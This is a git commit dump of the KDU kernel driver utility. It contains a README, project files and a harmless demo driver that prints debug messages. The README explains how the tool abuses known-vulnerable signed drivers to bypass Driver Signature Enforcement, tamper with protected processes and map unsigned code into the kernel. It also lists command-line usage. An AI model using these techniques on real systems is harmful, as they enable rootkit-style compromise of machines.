mirror of https://github.com/hfiref0x/KDU.git
Initial commit
This commit is contained in:
commit
1f6256f9a8
|
@ -0,0 +1,2 @@
|
|||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,21 @@
|
|||
MIT License
|
||||
|
||||
Copyright (c) 2020 KDU Project
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
Binary file not shown.
After Width: | Height: | Size: 206 KiB |
Binary file not shown.
After Width: | Height: | Size: 389 KiB |
|
@ -0,0 +1,21 @@
|
|||
MIT License
|
||||
|
||||
Copyright (c) 2020 KDU Project
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
|
@ -0,0 +1,111 @@
|
|||
# KDU
|
||||
## Kernel Driver Utility
|
||||
|
||||
#### System Requirements
|
||||
|
||||
+ x64 Windows 7/8/8.1/10;
|
||||
+ Administrative privilege is required.
|
||||
|
||||
# Purpose and Features
|
||||
|
||||
The purpose of this tool is to give a simple way to explore Windows kernel/components without doing a lot of additional work or setting up local debugger.
|
||||
It features:
|
||||
+ Protected Processes Hijacking via Process object modification;
|
||||
+ Driver loader for bypassing Driver Signature Enforcement (similar to TDL/Stryker);
|
||||
+ Support of various vulnerable drivers use as functionality "providers".
|
||||
|
||||
#### Usage
|
||||
|
||||
###### KDU -ps ProcessID
|
||||
###### KDU -map filename
|
||||
###### KDU -prv ProviderID
|
||||
###### KDU -list
|
||||
* -prv - optional, select vulnerability driver provider;
|
||||
* -ps - modify process object of given ProcessID;
|
||||
* -map - load input file as code buffer to kernel mode and run it;
|
||||
* -list - list currently available providers.
|
||||
|
||||
Example:
|
||||
+ kde -ps 1337
|
||||
+ kde -map c:\driverless\mysuperhack.sys
|
||||
+ kde -prv 1 -ps 1337
|
||||
+ kde -prv 1 -map c:\driverless\mysuperhack.sys
|
||||
|
||||
Run on Windows 10 20H2 (precomplied version)
|
||||
|
||||
<img src="https://raw.githubusercontent.com/hfiref0x/kdu/master/Help/kdu1.png" width="600" />
|
||||
|
||||
|
||||
Compiled and run on Windows 8.1
|
||||
|
||||
<img src="https://raw.githubusercontent.com/hfiref0x/kdu/master/Help/kdu2.png" width="600" />
|
||||
|
||||
|
||||
#### Limitations of -map command
|
||||
|
||||
Due to unusual way of loading that is not involving standard kernel loader, but uses overwriting already loaded modules with shell-code, there are some limitations:
|
||||
|
||||
+ Loaded drivers MUST BE specially designed to run as "driverless";
|
||||
|
||||
That mean you cannot use parameters specified at your DriverEntry as they won't be valid. That also mean you can not load *any* drivers but only specially designed or you need to alter shell-code responsible for driver mapping.
|
||||
|
||||
+ No SEH support for target drivers;
|
||||
|
||||
There is no SEH code in x64. Instead of this you have table of try/except/finally regions which must be in the executable image described by pointer in PE header. If there is an exception occured system handler will first look in which module that happened. Mapped drivers are not inside Windows controlled list of drivers (PsLoadedModulesList - PatchGuard protected), so nothing will be found and system will simple crash.
|
||||
|
||||
+ No driver unloading;
|
||||
|
||||
Mapped code can't unload itself, however you still can release all resources allocated by your mapped code.
|
||||
DRIVER_OBJECT->DriverUnload should be set to NULL.
|
||||
|
||||
+ Only ntoskrnl import resolved, everything else is up to you;
|
||||
|
||||
If your project need another module dependency then you have to rewrite this loader part.
|
||||
|
||||
+ Several Windows primitives are banned by PatchGuard from usage from the dynamic code.
|
||||
|
||||
Because of unsual way of loading mapped driver won't be inside PsLoadedModulesList. That mean any callback registered by such code will have handler located in memory outside this list. PatchGuard has ability to check whatever the registered callbacks point to valid loaded modules or not and BSOD with "Kernel notification callout modification" if such dynamic code detected.
|
||||
|
||||
In general if you want to know what you *should not do* in kernel look at https://github.com/hfiref0x/UPGDSED/tree/master/src/tests/BadRkDemo/drv/dummy which contain a few examples of forbidden things.
|
||||
|
||||
#### Kernel traces note
|
||||
This tool does not change (and this won't change in future) internal Windows structures of MmUnloadedDrivers and/or PiDDBCacheTable. That's because:
|
||||
+ KDU is not designed to circumvent third-party security software or various dubious crapware (e.g. anti-cheats);
|
||||
+ These data can be a target for PatchGuard protection in the next major Windows 10 update.
|
||||
|
||||
You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware.
|
||||
|
||||
#### Currently Supported Providers
|
||||
|
||||
+ Intel Network Adapter Diagnostic Driver of version 1.03.0.7;
|
||||
+ RTCore64 driver from MSI Afterburner of version 4.6.2 build 15658 and below.
|
||||
|
||||
More providers maybe added in the future.
|
||||
|
||||
# How it work
|
||||
|
||||
It uses known to be vulnerable driver from legitimate software to access arbitrary kernel memory with read/write primitives.
|
||||
|
||||
Depending on command KDU will either work as TDL or modify kernel mode process objects (EPROCESS).
|
||||
|
||||
When in -map mode KDU will use 3rd party signed driver from SysInternals Process Explorer and hijack it by placing a small loader shell-code inside it IRP_MJ_DEVICE_CONTROL/IRP_MJ_CREATE/IRP_MJ_CLOSE handler. This is done by overwriting physical memory where Process Explorer dispatch handler located and triggering it by calling driver IRP_MJ_CREATE handler (CreateFile call). Next shell-code will map input driver as code buffer to kernel mode and run it with current IRQL be PASSIVE_LEVEL. After that hijacked Process Explorer driver will be unloaded together with vulnerable provider driver. This entire idea comes from malicious software of the middle of 200x known as rootkits.
|
||||
|
||||
# Build
|
||||
|
||||
KDU comes with full source code.
|
||||
In order to build from source you need Microsoft Visual Studio 2019 and later versions. For driver builds you need Microsoft Windows Driver Kit 10 and/or above.
|
||||
|
||||
# Support and Warranties
|
||||
|
||||
Using this program might render your computer into BSOD. Compiled binary and source code provided AS-IS in help it will be useful BUT WITHOUT WARRANTY OF ANY KIND.
|
||||
|
||||
# References
|
||||
|
||||
* Stryker, https://github.com/hfiref0x/Stryker
|
||||
* Unwinding RTCore, https://swapcontext.blogspot.com/2020/01/unwinding-rtcore.html
|
||||
* CVE-2019-16098, https://github.com/Barakat/CVE-2019-16098
|
||||
* CVE-2015-2291, https://www.exploit-db.com/exploits/36392
|
||||
|
||||
# Authors
|
||||
|
||||
(c) 2020 KDE Project
|
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64
|
||||
{3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64
|
||||
{3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,102 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3D8146DE-8064-46C0-9E70-CEEC357B2290}</ProjectGuid>
|
||||
<TemplateGuid>{1bc93793-694f-48fe-9372-81e2b05556fd}</TemplateGuid>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
|
||||
<RootNamespace>dummy</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<TargetVersion>Windowsv6.3</TargetVersion>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
|
||||
<ConfigurationType>Driver</ConfigurationType>
|
||||
<DriverType>KMDF</DriverType>
|
||||
<DriverTargetPlatform>Universal</DriverTargetPlatform>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<TargetVersion>Windowsv6.3</TargetVersion>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>WindowsKernelModeDriver8.1</PlatformToolset>
|
||||
<ConfigurationType>Driver</ConfigurationType>
|
||||
<DriverType>KMDF</DriverType>
|
||||
<DriverTargetPlatform>Universal</DriverTargetPlatform>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<OutDir>.\output\$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>.\output\$(Platform)\$(Configuration)\</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
<OutDir>.\output\$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>.\output\$(Platform)\$(Configuration)\</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<SuppressStartupBanner>false</SuppressStartupBanner>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ExpandAttributedSource>true</ExpandAttributedSource>
|
||||
<AssemblerOutput>All</AssemblerOutput>
|
||||
<BrowseInformation>true</BrowseInformation>
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
<EnablePREfast>true</EnablePREfast>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SuppressStartupBanner>false</SuppressStartupBanner>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapExports>true</MapExports>
|
||||
<LargeAddressAware>true</LargeAddressAware>
|
||||
<EntryPointSymbol>DriverEntry</EntryPointSymbol>
|
||||
<RandomizedBaseAddress>true</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>true</DataExecutionPrevention>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<FilesToPackage Include="$(TargetPath)" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,26 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Driver Files">
|
||||
<UniqueIdentifier>{8E41214B-6785-4CFE-B992-037D68949A14}</UniqueIdentifier>
|
||||
<Extensions>inf;inv;inx;mof;mc;</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<SignMode>Off</SignMode>
|
||||
</PropertyGroup>
|
||||
</Project>
|
|
@ -0,0 +1,86 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2016 - 2020
|
||||
*
|
||||
* TITLE: MAIN.C
|
||||
*
|
||||
* VERSION: 1.02
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Example driver for driver loaders usage (TDL/Stryker/Diplodocus/KDU)
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include <ntddk.h>
|
||||
|
||||
DRIVER_INITIALIZE DriverEntry;
|
||||
#pragma alloc_text(INIT, DriverEntry)
|
||||
|
||||
/*
|
||||
* DriverEntry
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Driver base entry point.
|
||||
*
|
||||
*/
|
||||
NTSTATUS DriverEntry(
|
||||
_In_ struct _DRIVER_OBJECT *DriverObject,
|
||||
_In_ PUNICODE_STRING RegistryPath
|
||||
)
|
||||
{
|
||||
PEPROCESS Process;
|
||||
KIRQL Irql;
|
||||
PSTR sIrql;
|
||||
|
||||
/* This parameters are invalid due to nonstandard way of loading and should not be used. */
|
||||
UNREFERENCED_PARAMETER(DriverObject);
|
||||
UNREFERENCED_PARAMETER(RegistryPath);
|
||||
|
||||
Irql = KeGetCurrentIrql();
|
||||
if (Irql <= DISPATCH_LEVEL) {
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"Hello from kernel mode, system range start is %p, code mapped at %p\r\n",
|
||||
MmSystemRangeStart,
|
||||
DriverEntry);
|
||||
|
||||
Process = PsGetCurrentProcess();
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"I'm at %s, Process : %lu (%p)\r\n",
|
||||
__FUNCTION__,
|
||||
(ULONG)PsGetCurrentProcessId(),
|
||||
Process);
|
||||
|
||||
switch (Irql) {
|
||||
|
||||
case PASSIVE_LEVEL:
|
||||
sIrql = "PASSIVE_LEVEL";
|
||||
break;
|
||||
case APC_LEVEL:
|
||||
sIrql = "APC_LEVEL";
|
||||
break;
|
||||
case DISPATCH_LEVEL:
|
||||
sIrql = "DISPATCH_LEVEL";
|
||||
break;
|
||||
default:
|
||||
sIrql = "Unknown Value";
|
||||
break;
|
||||
}
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"KeGetCurrentIrql=%s\r\n",
|
||||
sIrql);
|
||||
}
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64
|
||||
{3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64
|
||||
{3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,107 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3D8146DE-8064-46C0-9E70-CEEC357B2290}</ProjectGuid>
|
||||
<TemplateGuid>{1bc93793-694f-48fe-9372-81e2b05556fd}</TemplateGuid>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
|
||||
<RootNamespace>dummy</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<TargetVersion>Windowsv6.3</TargetVersion>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
|
||||
<ConfigurationType>Driver</ConfigurationType>
|
||||
<DriverType>KMDF</DriverType>
|
||||
<DriverTargetPlatform>Universal</DriverTargetPlatform>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<TargetVersion>Windowsv6.3</TargetVersion>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>WindowsKernelModeDriver8.1</PlatformToolset>
|
||||
<ConfigurationType>Driver</ConfigurationType>
|
||||
<DriverType>KMDF</DriverType>
|
||||
<DriverTargetPlatform>Universal</DriverTargetPlatform>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<OutDir>.\output\$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>.\output\$(Platform)\$(Configuration)\</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<RunCodeAnalysis>false</RunCodeAnalysis>
|
||||
<OutDir>.\output\$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>.\output\$(Platform)\$(Configuration)\</IntDir>
|
||||
<TargetName>dummy2</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<SuppressStartupBanner>false</SuppressStartupBanner>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ExpandAttributedSource>true</ExpandAttributedSource>
|
||||
<AssemblerOutput>All</AssemblerOutput>
|
||||
<BrowseInformation>true</BrowseInformation>
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
<EnablePREfast>false</EnablePREfast>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SuppressStartupBanner>false</SuppressStartupBanner>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapExports>true</MapExports>
|
||||
<LargeAddressAware>true</LargeAddressAware>
|
||||
<EntryPointSymbol>DriverEntry</EntryPointSymbol>
|
||||
<RandomizedBaseAddress>true</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>true</DataExecutionPrevention>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<FilesToPackage Include="$(TargetPath)" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="main.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,31 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Driver Files">
|
||||
<UniqueIdentifier>{8E41214B-6785-4CFE-B992-037D68949A14}</UniqueIdentifier>
|
||||
<Extensions>inf;inv;inx;mof;mc;</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="main.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<SignMode>Off</SignMode>
|
||||
</PropertyGroup>
|
||||
</Project>
|
|
@ -0,0 +1,337 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2016 - 2020
|
||||
*
|
||||
* TITLE: MAIN.C
|
||||
*
|
||||
* VERSION: 1.02
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Example driver #2 for driver loaders usage (TDL/Stryker/Diplodocus/KDU)
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
